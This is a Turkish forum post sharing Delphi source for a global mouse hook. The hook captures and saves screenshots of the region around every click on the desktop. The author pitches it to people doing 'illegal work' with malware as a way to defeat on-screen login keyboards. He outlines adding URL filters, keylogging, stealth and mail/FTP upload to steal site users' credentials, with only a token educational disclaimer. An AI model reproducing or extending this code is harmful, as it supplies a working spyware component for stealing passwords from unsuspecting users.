Delphi ile Farenin tıkladığı yerin görüntüsünü almak(Mouse Hook)

Delphi MouseHook Example

--> Fare Tiklama Olaylari
--> Fare ile Tiklanan Yerin Goruntusunun Alinmasi
--> Alinan Goruntunun Kayit Edilmesi
--> Goruntunun ImageList e aktarilmasi
--> Aktarilan goruntunun listview de gosterilmesi konularini icerir.

Merhaba
Bir cogumuz illegal islere basladigimiz zaman cesitli malware yazilimlari kullanmisizdir.

Bununla birlikte bir cogumuz internet sayfalarindaki sanal klavye loglarini almayan loggerlardan hep sikayet etmisizdir. Iste boyle bir durumda imdadiniza "MouseHookExample" yetisiyor...

Mouse Hook Example Ne Ise Yarar ?

Bir cok forumda gordugum ve en cok aranan kaynak kodlar arasinda yer alan farenin tikladigi
bolgelerin resimlerini belirli ebatlarda kesip kayit etme olayini (credits de belirttim)
belirli kisilerden yardim alarak kodladim ve tamamladim. Daha once hic boyle bir kod internet
sayfalarinda verilmedi. Ilk defa cigicigi online katkilari ile sizlerle paylasiyorum.
Masaustunde aktif pencerede (uygulamanin ne oldugu kesinlikle onemli degildir. yeterki tiklansin)
uzerinde farenin tikladigi koordinatlari tespit ettikten sonra sizin sectiginiz boyutlarda ve
cozunurlukte gun gun tiklanma sirasi ile beraber .BMP "bitmap" formatinda kayit etmenize ve
goruntulemenize yarar. Siz ileri bir programlama bilginiz ile kendinize gore gelistirip kendi
amaclariniz dogrultusunda kullanabilirsiniz...
ve Hatta URL fitresi ekleyip belirli sayfalara girildigi zaman tiklanan yerlerin goruntu
almasini saglayabilirsiniz.
ornegin login kısmında bir ekran klavyesi bulunan web sayfasinin kullanicilarinin bilgilerine
kolaylikla ulasabilirsiniz. programa url filtresiile birlikte keylogger, stealth fonksiyonlari
ve mail/ftp sender fonksiyonlari ekleyerek bir malware yaratabilir,site uzerinde sanal klavye
kullanan kullanicilarin login bilgisine kolayca ulasabilirsiniz...
BILGI 1 : Ucret karsiliginda kesinlikle herhangi bir malware yazilimi yazmiyorum. Bu konularla ilgili
ozel mesaj bosuna gondermeyin. cewaplamiyorum.
BILGI 2 : Msn / FaceBook / ICQ / Twitter / Telefon vs. kullanmiyorum. Istemeyiniz.
UYARI : Bu snippet tamamen egitim amaci ile yazilmis, mousehook nedir, nasil calisir, resim nasil
crop edilir, resim nasil kayit edilir, imageliste resim nasil aktarilir, aktarilan resim listviewde
nasil gosterilir bunlar hakkinda bilgi sahibi olmak isteyen arkadaslar icin burada yayinlanmistir.
Ne amacla ne sekilde kullanacaginiz tamamen size kalmistir. Yapmis oldugu kulferetlerden dolayi
snippet yazari (yani ben) ve cigicigi online kesinlikle sorumlu tutulamaz.


Kod:

{
  UnitMouseHook.Pas
  Author      : ap0calypse
  Web Site    : www.cigicigi.gen.tr
  Information : How to Hook the Mouse to Catch Clicks Outside of your Delphi application
  Compiler    : Coded in Delphi 7 Second Edition
}

unit UnitMouseHook;
interface
Uses Windows,Messages,Classes,Unit1;
function HookProc(nCode:Integer; wParam:Integer; var EventStrut:TEventMsg ):Integer; stdcall;
Procedure ExecuteCommand(Command : String);
function TakeScreenShot(Width : Integer;Height: Integer) : String;
TYPE
TImageInfo = RECORD
ImageWidth : Integer;
ImageHeight : Integer;
Color : Integer;
END;
TBitmap = record
bmType: Integer;
bmWidth: Integer;
bmHeight: Integer;
bmWidthBytes: Integer;
bmPlanes: Byte;
bmBitsPixel: Byte;
bmBits: Pointer;
end;
const
BMType = $4D42;
Var
HookHandle : THandle;
ImageInfo : TImageInfo;
MakeSureDirectoryPathExists: function(DirPath: LPCSTR): Bool; stdcall;
implementation
function IntToStr(I: integer): string;
begin
Str(I, Result);
end;
function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;
function altGetTime: string;
var
MyTime: TSystemTime;
begin
GetLocalTime(MyTime);
Result := inttostr(MyTime.wHour) + '_' + inttostr(MyTime.wMinute) + '_' + inttostr(MyTime.wSecond) + '_' + inttostr(MyTime.wMilliseconds);
end;
function altGetDate: string;
var
MyTime: TSystemTime;
begin
GetLocalTime(MyTime);
Result := inttostr(MyTime.wDay) + '_' + inttostr(MyTime.wMonth) + '_' + inttostr(MyTime.wYear);
end;
function HookProc(nCode:Integer; wParam:Integer; var EventStrut:TEventMsg ):Integer; stdcall;
var
ImageName :String;
begin
Result := CallNextHookEx(HookHandle,nCode,wParam,LongInt(@EventStrut));
IF nCode < 0 Then Exit;
if nCode = HC_SYSMODALON then EXIT;
if nCode = HC_ACTION then
begin
// Eger Sag veya Sol Tus Tiklanmis Ise Resim Cek ve Klasore Kayit Et
if ((EventStrut.message = WM_LBUTTONDOWN) OR (EventStrut.message = WM_RBUTTONDOWN))then
begin
ImageName := TakeScreenShot(ImageInfo.ImageWidth,ImageInfo.ImageHeight);
end;
end;
end;
Procedure ExecuteCommand(Command : String);
Begin
IF Command = 'Start' Then
Begin
ImageInfo.ImageWidth := StrToInt(Form1.Edit1.text);
ImageInfo.ImageHeight := StrToInt(Form1.Edit2.text);
ImageInfo.Color := StrToInt(Form1.Combobox1.text);
UnHookWindowsHookEx(HookHandle);
HookHandle := SetWindowsHookEx(Windows.WH_JOURNALRECORD, @HookProc, HInstance, 0);
End;
IF Command = 'Stop' Then
Begin
UnHookWindowsHookEx(HookHandle);
End;
End;
function TakeScreenShot(Width : Integer;Height: Integer) : String;
var
BM: TBitmap;
BFH: TBitmapFileHeader;
BIP: PBitmapInfo;
DC: HDC;
hWin : Cardinal;
xMouse: Integer;
yMouse : Integer;
r : TRect;
HMem: THandle;
Buf: Pointer;
ColorSize, DataSize: Longint;
stream: tmemorystream;
SavePath : String;
MemDC, Bitmap, OBitmap: HBitmap;
ScreenWidth,ScreenHeight: Integer;
Cursor: TCursorInfo;
BitCount : Integer;
function AlignDouble(Size: Longint): Longint;
begin
Result := (Size + 31) div 32 * 4;
end;
begin
//masaüstü goruntusunun resimini almak icin ekran cozunurlugunu aliyoruz...
hWin := Windows.GetDesktopWindow;
dc := GetWindowDC(hWin);
GetWindowRect(hWin,r);
ScreenWidth := GetDeviceCaps (DC, HORZRES);
ScreenHeight := GetDeviceCaps (DC, VERTRES);
MemDC := CreateCompatibleDC(DC);
Bitmap := CreateCompatibleBitmap(DC, Width, Height);
OBitmap := SelectObject(MemDC, Bitmap);
Cursor.cbSize := SizeOf(Cursor);
GetCursorInfo(Cursor);
StretchBlt(MemDC, 0, 0,ScreenWidth, ScreenHeight, DC, Cursor.ptScreenPos.X-20 ,Cursor.ptScreenPos.y-20, ScreenWidth,ScreenHeight , SRCCOPY);
//fare kordinatlarini alip resime cizdirelim.
xMouse := (Cursor.ptScreenPos.X DIV 100) + 20;
yMouse := (Cursor.ptScreenPos.Y DIV 100) + 20;
DrawIcon(MemDC,xMouse,yMouse,Cursor.hCursor);
SelectObject(MemDC, OBitmap);
DeleteDC(MemDC);
ReleaseDC(GetDesktopWindow, DC);
if GetObject(Bitmap, SizeOf(TBitmap), @BM) = 0 then Exit;
//resim cekilip yeniden boyutlandirildi. simdi kayit ettirelim.
BitCount := ImageInfo.Color;
if (BitCount <> 24) then ColorSize := SizeOf(TRGBQuad) * (1 shl BitCount) else ColorSize := 0;
DataSize := AlignDouble(bm.bmWidth * BitCount) * bm.bmHeight;
GetMem(BIP, SizeOf(TBitmapInfoHeader) + ColorSize);
if BIP <> nil then begin
with BIP^.bmiHeader do begin
biSize := SizeOf(TBitmapInfoHeader);
biWidth := bm.bmWidth;
biHeight := bm.bmHeight;
biPlanes := 1;
biBitCount := BitCount;
biCompression := 0;
biSizeImage := DataSize;
biXPelsPerMeter := 0;
biYPelsPerMeter := 0;
biClrUsed := 0;
biClrImportant := 0;
end;
with BFH do begin
bfOffBits := SizeOf(BFH) + SizeOf(TBitmapInfo) + ColorSize;
bfReserved1 := 0;
bfReserved2 := 0;
bfSize := longint(bfOffBits) + DataSize;
bfType := BMType;
end;
HMem := GlobalAlloc(gmem_Fixed, DataSize);
if HMem <> 0 then begin
Buf := GlobalLock(HMem);
DC := GetDC(0);
if GetDIBits(DC, Bitmap, 0, bm.bmHeight,Buf, BIP^, dib_RGB_Colors) <> 0 then begin
Stream := TMemoryStream.Create;
Stream.WriteBuffer(BFH, SizeOf(BFH));
Stream.WriteBuffer(PChar(BIP)^, SizeOf(TBitmapInfo) + ColorSize);
Stream.WriteBuffer(Buf^, DataSize);
// kayit formati
// Programin calistigi yer / images / gunun tarih / saat . bmp
SavePath := 'Images\' + altGetDate + '\' ;
MakeSureDirectoryPathExists(pchar(SavePath));
Stream.SaveToFile(SavePath + altGetTime + '.bmp');
SetString(Result, PChar(Stream.Memory), Stream.Size);
stream.Free;
// Listviewde Goruntuleme
Form1.ShowInListview(SavePath + altGetTime + '.bmp');
end;
ReleaseDC(0, DC);
GlobalUnlock(HMem);
GlobalFree(HMem);
end;
end;
FreeMem(BIP, SizeOf(TBitmapInfoHeader) + ColorSize);
DeleteObject(Bitmap);
Result := SavePath;
end;
initialization
@MakeSureDirectoryPathExists := GetProcAddress(LoadLibrary('imagehlp.dll'),'MakeSureDirectoryPathExists');
end.

iyi gunler.